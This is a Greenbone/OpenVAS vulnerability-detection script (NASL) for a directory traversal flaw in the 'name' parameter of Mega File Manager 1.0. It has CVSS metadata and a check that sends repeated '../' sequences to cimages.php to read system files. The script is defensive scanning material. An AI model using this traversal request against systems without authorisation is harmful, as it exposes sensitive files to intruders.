Mega File Manager 'name' Parameter Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103477");
  script_version("2025-04-15T05:54:49+0000");
  script_name("Mega File Manager 'name' Parameter Directory Traversal Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53189");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2012-04-25 10:11:55 +0200 (Wed, 25 Apr 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Mega File Manager is prone to a directory traversal vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"Remote attackers can use specially crafted requests with directory-
  traversal sequences ('../') to retrieve arbitrary files in the context
  of the application.

  Exploiting this issue may allow an attacker to obtain sensitive
  information that could aid in further attacks.");

  script_tag(name:"affected", value:"Mega File Manager 1.0 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/megafilemanager", "/MegaFileManager", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( "Powered by Awesome PH" >< buf ) {

    foreach file( keys( files ) ) {

      url = dir + '/cimages.php?name=' + crap( data:"../", length: 9 * 6 ) + files[file];

      if( http_vuln_check( port:port, url:url, pattern:file ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );